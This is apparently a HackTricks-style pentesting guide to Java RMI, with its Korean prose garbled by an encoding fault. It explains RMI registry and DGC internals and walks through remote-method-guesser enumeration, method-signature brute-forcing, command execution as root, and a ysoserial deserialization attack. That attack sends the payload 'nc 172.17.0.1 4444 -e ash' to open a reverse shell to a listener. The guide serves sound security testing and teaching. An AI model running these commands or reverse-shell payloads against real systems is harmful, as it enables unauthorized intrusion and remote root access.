1098/1099/1050 - Pentesting Java RMI - RMI-IIOP
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κΈ°λ³Έ μ 보
Java Remote Method Invocation λλ _Java RMI_λ ν _Java κ°μ λ¨Έμ _μ μμΉν κ°μ²΄κ° λ€λ₯Έ _Java κ°μ λ¨Έμ _μ μμΉν κ°μ²΄μ λ©μλλ₯Ό νΈμΆν μ μλλ‘ νλ κ°μ²΄ μ§ν₯ RPC λ©μ»€λμ¦μ λλ€. μ΄λ₯Ό ν΅ν΄ κ°λ°μλ κ°μ²΄ μ§ν₯ ν¨λ¬λ€μμ μ¬μ©νμ¬ λΆμ° μ ν리μΌμ΄μ μ μμ±ν μ μμ΅λλ€. 곡격μ μΈ κ΄μ μμ _Java RMI_μ λν κ°λ¨ν μκ°λ μ΄ λΈλν κ°μ°μμ μ°Ύμ μ μμ΅λλ€.
κΈ°λ³Έ ν¬νΈ: 1090,1098,1099,1199,4443-4446,8999-9010,9999
PORT STATE SERVICE VERSION
1090/tcp open ssl/java-rmi Java RMI
9010/tcp open java-rmi Java RMI
37471/tcp open java-rmi Java RMI
40259/tcp open ssl/java-rmi Java RMI
λ³΄ν΅ κΈ°λ³Έ Java RMI κ΅¬μ± μμ(RMI Registry λ° Activation System)λ§ μΌλ° ν¬νΈμ λ°μΈλ©λ©λλ€. μ€μ RMI μ ν리μΌμ΄μ μ ꡬννλ _remote objects_λ μΌλ°μ μΌλ‘ μμ μΆλ ₯μ νμλ λλ‘ μμμ ν¬νΈμ λ°μΈλ©λ©λλ€.
_nmap_μ λλλ‘ _SSL_λ‘ λ³΄νΈλ RMI μλΉμ€λ₯Ό μλ³νλ λ° μ΄λ €μμ κ²ͺμ΅λλ€. μΌλ° RMI ν¬νΈμμ μ μ μλ ssl μλΉμ€λ₯Ό λ°κ²¬νλ©΄ μΆκ° μ‘°μ¬λ₯Ό ν΄μΌ ν©λλ€.
RMI κ΅¬μ± μμ
κ°λ¨ν λ§ν΄, _Java RMI_λ κ°λ°μκ° λ€νΈμν¬μμ _Java object_λ₯Ό μ¬μ©ν μ μλλ‘ ν©λλ€. μ΄λ ν΄λΌμ΄μΈνΈκ° μ°κ²°νκ³ ν΄λΉ κ°μ²΄μ λ©μλλ₯Ό νΈμΆν μ μλ TCP ν¬νΈλ₯Ό μ½λλ€. μ΄κ² κ°λ¨νκ² λ€λ¦¬μ§λ§, _Java RMI_κ° ν΄κ²°ν΄μΌ ν μ¬λ¬ κ°μ§ λμ κ³Όμ κ° μμ΅λλ€:
- _Java RMI_λ₯Ό ν΅ν΄ λ©μλ νΈμΆμ μ μ‘νλ €λ©΄ ν΄λΌμ΄μΈνΈλ IP μ£Όμ, μμ ν¬νΈ, ꡬνλ ν΄λμ€ λλ μΈν°νμ΄μ€ λ° λμ κ°μ²΄μ
ObjIDλ₯Ό μμμΌ ν©λλ€(ObjIDλ κ°μ²΄κ° λ€νΈμν¬μμ μ¬μ© κ°λ₯ν΄μ§ λ μμ±λλ κ³ μ νκ³ μμμ μλ³μμ λλ€. _Java RMI_λ μ¬λ¬ κ°μ²΄κ° λμΌν TCP ν¬νΈμμ μμ ν μ μλλ‘ νμ©νκΈ° λλ¬Έμ νμν©λλ€). - μ격 ν΄λΌμ΄μΈνΈλ λ ΈμΆλ κ°μ²΄μ λ©μλλ₯Ό νΈμΆνμ¬ μλ²μμ 리μμ€λ₯Ό ν λΉν μ μμ΅λλ€. _Java virtual machine_μ μ΄λ¬ν 리μμ€ μ€ μ΄λ€ κ²μ΄ μ¬μ ν μ¬μ© μ€μΈμ§, μ΄λ€ κ²μ΄ κ°λΉμ§ μμ§λ μ μλμ§λ₯Ό μΆμ ν΄μΌ ν©λλ€.
첫 λ²μ§Έ λμ κ³Όμ λ _RMI registry_μ μν΄ ν΄κ²°λ©λλ€. _RMI registry_λ κΈ°λ³Έμ μΌλ‘ _Java RMI_λ₯Ό μν μ΄λ¦ μλΉμ€μ
λλ€. RMI registry μ체λ _RMI service_μ΄μ§λ§, ꡬνλ μΈν°νμ΄μ€μ ObjIDλ κ³ μ λμ΄ μμΌλ©° λͺ¨λ RMI ν΄λΌμ΄μΈνΈκ° μκ³ μμ΅λλ€. μ΄λ₯Ό ν΅ν΄ RMI ν΄λΌμ΄μΈνΈλ ν΄λΉ TCP ν¬νΈλ§ μλ©΄ RMI registryλ₯Ό μ¬μ©ν μ μμ΅λλ€.
κ°λ°μκ° μμ μ _Java objects_λ₯Ό λ€νΈμν¬ λ΄μμ μ¬μ© κ°λ₯νκ² λ§λ€κ³ μ ν λ, μΌλ°μ μΌλ‘ μ΄λ₯Ό _RMI registry_μ λ°μΈλ©ν©λλ€. _registry_λ κ°μ²΄μ μ°κ²°νλ λ° νμν λͺ¨λ μ 보(IP μ£Όμ, μμ ν¬νΈ, ꡬνλ ν΄λμ€ λλ μΈν°νμ΄μ€ λ° ObjID κ°)λ₯Ό μ μ₯νκ³ μ΄λ₯Ό μ¬λμ΄ μ½μ μ μλ μ΄λ¦( bound name)μΌλ‘ μ 곡ν©λλ€. _RMI service_λ₯Ό μ¬μ©νλ €λ ν΄λΌμ΄μΈνΈλ ν΄λΉ _bound name_μ λν΄ _RMI registry_μ μμ²νκ³ , registryλ μ°κ²°νλ λ° νμν λͺ¨λ μ 보λ₯Ό λ°νν©λλ€. λ°λΌμ μν©μ κΈ°λ³Έμ μΌλ‘ μΌλ° DNS μλΉμ€μ λμΌν©λλ€. λ€μ λͺ©λ‘μ μμ μμ λ₯Ό 보μ¬μ€λλ€:
import java.rmi.registry.Registry;
import java.rmi.registry.LocateRegistry;
import lab.example.rmi.interfaces.RemoteService;
public class ExampleClient {
private static final String remoteHost = "172.17.0.2";
private static final String boundName = "remote-service";
public static void main(String[] args)
{
try {
Registry registry = LocateRegistry.getRegistry(remoteHost); // Connect to the RMI registry
RemoteService ref = (RemoteService)registry.lookup(boundName); // Lookup the desired bound name
String response = ref.remoteMethod(); // Call a remote method
} catch( Exception e) {
e.printStackTrace();
}
}
}
μμμ μΈκΈν λ λ²μ§Έ λμ κ³Όμ λ Distributed Garbage Collector (DGC)μ μν΄ ν΄κ²°λ©λλ€. μ΄λ μ μλ €μ§ ObjID κ°μ κ°μ§ λ λ€λ₯Έ _RMI service_μ΄λ©° κΈ°λ³Έμ μΌλ‘ λͺ¨λ _RMI endpoint_μμ μ¬μ©ν μ μμ΅λλ€. _RMI client_κ° _RMI service_λ₯Ό μ¬μ©νκΈ° μμνλ©΄, ν΄λΉ _remote object_κ° μ¬μ© μ€μμ _DGC_μ μ리λ μ 보λ₯Ό μ μ‘ν©λλ€. κ·Έλ¬λ©΄ _DGC_λ μ°Έμ‘° μλ₯Ό μΆμ νκ³ μ¬μ©λμ§ μλ κ°μ²΄λ₯Ό μ 리ν μ μμ΅λλ€.
λ μ΄μ μ§μλμ§ μλ _Activation System_κ³Ό ν¨κ», μ΄λ€μ _Java RMI_μ μΈ κ°μ§ κΈ°λ³Έ κ΅¬μ± μμμ λλ€:
- RMI Registry (
ObjID = 0) - Activation System (
ObjID = 1) - Distributed Garbage Collector (
ObjID = 2)
_Java RMI_μ κΈ°λ³Έ κ΅¬μ± μμλ κ½€ μ€λ«λμ μλ €μ§ κ³΅κ²© 벑ν°μμΌλ©°, ꡬμ Java λ²μ μλ μ¬λ¬ μ·¨μ½μ μ΄ μ‘΄μ¬ν©λλ€. 곡격μμ κ΄μ μμ λ³Ό λ, μ΄λ¬ν κΈ°λ³Έ κ΅¬μ± μμλ μλ €μ§ ν΄λμ€/μΈν°νμ΄μ€λ₯Ό ꡬννκΈ° λλ¬Έμ ν₯λ―Έλ‘κ³ , μ΄λ€κ³Ό μνΈμμ©νλ κ²μ΄ μ½μ΅λλ€. κ·Έλ¬λ μ¬μ©μ μ μ _RMI services_μ κ²½μ° μν©μ΄ λ€λ¦ λλ€. _remote object_μμ λ©μλλ₯Ό νΈμΆνλ €λ©΄ ν΄λΉ λ©μλ μκ·Έλμ²λ₯Ό 미리 μμμΌ ν©λλ€. κΈ°μ‘΄ λ©μλ μκ·Έλμ²λ₯Ό λͺ¨λ₯΄λ©΄ _RMI service_μ ν΅μ ν λ°©λ²μ΄ μμ΅λλ€.
RMI Enumeration
remote-method-guesserλ μΌλ°μ μΈ _RMI vulnerabilities_λ₯Ό μλμΌλ‘ μλ³ν μ μλ Java RMI μ·¨μ½μ μ€μΊλμ λλ€. RMI endpointλ₯Ό μλ³ν λλ§λ€ μλν΄ λ³΄μμΌ ν©λλ€:
$ rmg enum 172.17.0.2 9010
[+] RMI registry bound names:
[+]
[+] - plain-server2
[+] --> de.qtc.rmg.server.interfaces.IPlainServer (unknown class)
[+] Endpoint: iinsecure.dev:37471 TLS: no ObjID: [55ff5a5d:17e0501b054:-7ff7, 3638117546492248534]
[+] - legacy-service
[+] --> de.qtc.rmg.server.legacy.LegacyServiceImpl_Stub (unknown class)
[+] Endpoint: iinsecure.dev:37471 TLS: no ObjID: [55ff5a5d:17e0501b054:-7ffc, 708796783031663206]
[+] - plain-server
[+] --> de.qtc.rmg.server.interfaces.IPlainServer (unknown class)
[+] Endpoint: iinsecure.dev:37471 TLS: no ObjID: [55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]
[+]
[+] RMI server codebase enumeration:
[+]
[+] - [http://iinsecure.dev/well-hidden-development-folder/](http://iinsecure.dev/well-hidden-development-folder/)
[+] --> de.qtc.rmg.server.legacy.LegacyServiceImpl_Stub
[+] --> de.qtc.rmg.server.interfaces.IPlainServer
[+]
[+] RMI server String unmarshalling enumeration:
[+]
[+] - Caught ClassNotFoundException during lookup call.
[+] --> The type java.lang.String is unmarshalled via readObject().
[+] Configuration Status: Outdated
[+]
[+] RMI server useCodebaseOnly enumeration:
[+]
[+] - Caught MalformedURLException during lookup call.
[+] --> The server attempted to parse the provided codebase (useCodebaseOnly=false).
[+] Configuration Status: Non Default
[+]
[+] RMI registry localhost bypass enumeration (CVE-2019-2684):
[+]
[+] - Caught NotBoundException during unbind call (unbind was accepeted).
[+] Vulnerability Status: Vulnerable
[+]
[+] RMI Security Manager enumeration:
[+]
[+] - Security Manager rejected access to the class loader.
[+] --> The server does use a Security Manager.
[+] Configuration Status: Current Default
[+]
[+] RMI server JEP290 enumeration:
[+]
[+] - DGC rejected deserialization of java.util.HashMap (JEP290 is installed).
[+] Vulnerability Status: Non Vulnerable
[+]
[+] RMI registry JEP290 bypass enmeration:
[+]
[+] - Caught IllegalArgumentException after sending An Trinh gadget.
[+] Vulnerability Status: Vulnerable
[+]
[+] RMI ActivationSystem enumeration:
[+]
[+] - Caught IllegalArgumentException during activate call (activator is present).
[+] --> Deserialization allowed - Vulnerability Status: Vulnerable
[+] --> Client codebase enabled - Configuration Status: Non Default
μ΄κ±° μμ μ μΆλ ₯μ νλ‘μ νΈμ λ¬Έμ νμ΄μ§μμ λ μμΈν μ€λͺ λμ΄ μμ΅λλ€. κ²°κ³Όμ λ°λΌ μλ³λ μ·¨μ½μ μ νμΈν΄ 보μμΌ ν©λλ€.
_remote-method-guesser_μ μν΄ νμλ ObjID κ°μ μλΉμ€μ κ°λ μκ°μ κ²°μ νλ λ° μ¬μ©λ μ μμ΅λλ€. μ΄λ λ€λ₯Έ μ·¨μ½μ μ μλ³νλ λ° λμμ΄ λ μ μμ΅λλ€:
$ rmg objid '[55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]'
[+] Details for ObjID [55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]
[+]
[+] ObjNum: -4004948013687638236
[+] UID:
[+] Unique: 1442798173
[+] Time: 1640761503828 (Dec 29,2021 08:05)
[+] Count: -32760
μ격 λ©μλ λΈλ£¨νΈν¬μ€
μ΄κ±° μ€μ μ·¨μ½μ μ΄ μλ³λμ§ μλλΌλ, μ¬μ© κ°λ₯ν RMI μλΉμ€λ μ¬μ ν μνν κΈ°λ₯μ λ ΈμΆν μ μμ΅λλ€. λν, RMI κΈ°λ³Έ κ΅¬μ± μμμ λν RMI ν΅μ μ μμ§λ ¬ν νν°λ‘ 보νΈλμ§λ§, μ¬μ©μ μ μ RMI μλΉμ€μ λνν λλ μ΄λ¬ν νν°κ° μΌλ°μ μΌλ‘ μ μ©λμ§ μμ΅λλ€. λ°λΌμ RMI μλΉμ€μμ μ ν¨ν λ©μλ μκ·Έλμ²λ₯Ό μλ κ²μ μ€μν©λλ€.
λΆννλ, _Java RMI_λ _μ격 κ°μ²΄_μμ λ©μλλ₯Ό μ΄κ±°νλ κ²μ μ§μνμ§ μμ΅λλ€. κ·Έλ μ§λ§, remote-method-guesser λλ rmiscoutμ κ°μ λꡬλ₯Ό μ¬μ©νμ¬ λ©μλ μκ·Έλμ²λ₯Ό λΈλ£¨νΈν¬μ€νλ κ²μ κ°λ₯ν©λλ€:
$ rmg guess 172.17.0.2 9010
[+] Reading method candidates from internal wordlist rmg.txt
[+] 752 methods were successfully parsed.
[+] Reading method candidates from internal wordlist rmiscout.txt
[+] 2550 methods were successfully parsed.
[+]
[+] Starting Method Guessing on 3281 method signature(s).
[+]
[+] MethodGuesser is running:
[+] --------------------------------
[+] [ plain-server2 ] HIT! Method with signature String execute(String dummy) exists!
[+] [ plain-server2 ] HIT! Method with signature String system(String dummy, String[] dummy2) exists!
[+] [ legacy-service ] HIT! Method with signature void logMessage(int dummy1, String dummy2) exists!
[+] [ legacy-service ] HIT! Method with signature void releaseRecord(int recordID, String tableName, Integer remoteHashCode) exists!
[+] [ legacy-service ] HIT! Method with signature String login(java.util.HashMap dummy1) exists!
[+] [6562 / 6562] [#####################################] 100%
[+] done.
[+]
[+] Listing successfully guessed methods:
[+]
[+] - plain-server2 == plain-server
[+] --> String execute(String dummy)
[+] --> String system(String dummy, String[] dummy2)
[+] - legacy-service
[+] --> void logMessage(int dummy1, String dummy2)
[+] --> void releaseRecord(int recordID, String tableName, Integer remoteHashCode)
[+] --> String login(java.util.HashMap dummy1)
μλ³λ λ°©λ²μ λ€μκ³Ό κ°μ΄ νΈμΆν μ μμ΅λλ€:
$ rmg call 172.17.0.2 9010 '"id"' --bound-name plain-server --signature "String execute(String dummy)" --plugin GenericPrint.jar
[+] uid=0(root) gid=0(root) groups=0(root)
λλ λ€μκ³Ό κ°μ΄ μμ§λ ¬ν 곡격μ μνν μ μμ΅λλ€:
$ rmg serial 172.17.0.2 9010 CommonsCollections6 'nc 172.17.0.1 4444 -e ash' --bound-name plain-server --signature "String execute(String dummy)"
[+] Creating ysoserial payload... done.
[+]
[+] Attempting deserialization attack on RMI endpoint...
[+]
[+] Using non primitive argument type java.lang.String on position 0
[+] Specified method signature is String execute(String dummy)
[+]
[+] Caught ClassNotFoundException during deserialization attack.
[+] Server attempted to deserialize canary class 6ac727def61a4800a09987c24352d7ea.
[+] Deserialization attack probably worked :)
$ nc -vlp 4444
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 172.17.0.2.
Ncat: Connection from 172.17.0.2:45479.
id
uid=0(root) gid=0(root) groups=0(root)
λ λ§μ μ 보λ λ€μ κΈ°μ¬μμ μ°Ύμ μ μμ΅λλ€:
μΆμΈ‘νλ κ² μΈμλ, κ²μ μμ§μ΄λ _GitHub_μμ λ§λ RMI μλΉμ€μ μΈν°νμ΄μ€λ ꡬνμ μ°Ύμ보λ κ²μ΄ μ’μ΅λλ€. μ¬κΈ°μ _bound name_κ³Ό ꡬνλ ν΄λμ€ λλ μΈν°νμ΄μ€μ μ΄λ¦μ΄ λμμ΄ λ μ μμ΅λλ€.
μλ €μ§ μΈν°νμ΄μ€
remote-method-guesser λ λꡬμ λ΄λΆ λ°μ΄ν°λ² μ΄μ€μ λμ΄λ _RMI μλΉμ€_μΈ κ²½μ° ν΄λμ€λ₯Ό knownμΌλ‘ νμν©λλ€. μ΄λ¬ν κ²½μ°, ν΄λΉ _RMI μλΉμ€_μ λν λ λ§μ μ 보λ₯Ό μ»κΈ° μν΄ known μμ
μ μ¬μ©ν μ μμ΅λλ€:
$ rmg enum 172.17.0.2 1090 | head -n 5
[+] RMI registry bound names:
[+]
[+] - jmxrmi
[+] --> javax.management.remote.rmi.RMIServerImpl_Stub (known class: JMX Server)
[+] Endpoint: localhost:41695 TLS: no ObjID: [7e384a4f:17e0546f16f:-7ffe, -553451807350957585]
$ rmg known javax.management.remote.rmi.RMIServerImpl_Stub
[+] Name:
[+] JMX Server
[+]
[+] Class Name:
[+] - javax.management.remote.rmi.RMIServerImpl_Stub
[+] - javax.management.remote.rmi.RMIServer
[+]
[+] Description:
[+] Java Management Extensions (JMX) can be used to monitor and manage a running Java virtual machine.
[+] This remote object is the entrypoint for initiating a JMX connection. Clients call the newClient
[+] method usually passing a HashMap that contains connection options (e.g. credentials). The return
[+] value (RMIConnection object) is another remote object that is when used to perform JMX related
[+] actions. JMX uses the randomly assigned ObjID of the RMIConnection object as a session id.
[+]
[+] Remote Methods:
[+] - String getVersion()
[+] - javax.management.remote.rmi.RMIConnection newClient(Object params)
[+]
[+] References:
[+] - [https://docs.oracle.com/javase/8/docs/technotes/guides/management/agent.html](https://docs.oracle.com/javase/8/docs/technotes/guides/management/agent.html)
[+] - [https://github.com/openjdk/jdk/tree/master/src/java.management.rmi/share/classes/javax/management/remote/rmi](https://github.com/openjdk/jdk/tree/master/src/java.management.rmi/share/classes/javax/management/remote/rmi)
[+]
[+] Vulnerabilities:
[+]
[+] -----------------------------------
[+] Name:
[+] MLet
[+]
[+] Description:
[+] MLet is the name of an MBean that is usually available on JMX servers. It can be used to load
[+] other MBeans dynamically from user specified codebase locations (URLs). Access to the MLet MBean
[+] is therefore most of the time equivalent to remote code execution.
[+]
[+] References:
[+] - [https://github.com/qtc-de/beanshooter](https://github.com/qtc-de/beanshooter)
[+]
[+] -----------------------------------
[+] Name:
[+] Deserialization
[+]
[+] Description:
[+] Before CVE-2016-3427 got resolved, JMX accepted arbitrary objects during a call to the newClient
[+] method, resulting in insecure deserialization of untrusted objects. Despite being fixed, the
[+] actual JMX communication using the RMIConnection object is not filtered. Therefore, if you can
[+] establish a working JMX connection, you can also perform deserialization attacks.
[+]
[+] References:
[+] - [https://github.com/qtc-de/beanshooter](https://github.com/qtc-de/beanshooter)
Shodan
port:1099 java
Tools
References
HackTricks Automatic Commands
Protocol_Name: Java RMI #Protocol Abbreviation if there is one.
Port_Number: 1090,1098,1099,1199,4443-4446,8999-9010,9999 #Comma separated if there is more than one.
Protocol_Description: Java Remote Method Invocation #Protocol Abbreviation Spelled out
Entry_1:
Name: Enumeration
Description: Perform basic enumeration of an RMI service
Command: rmg enum {IP} {PORT}
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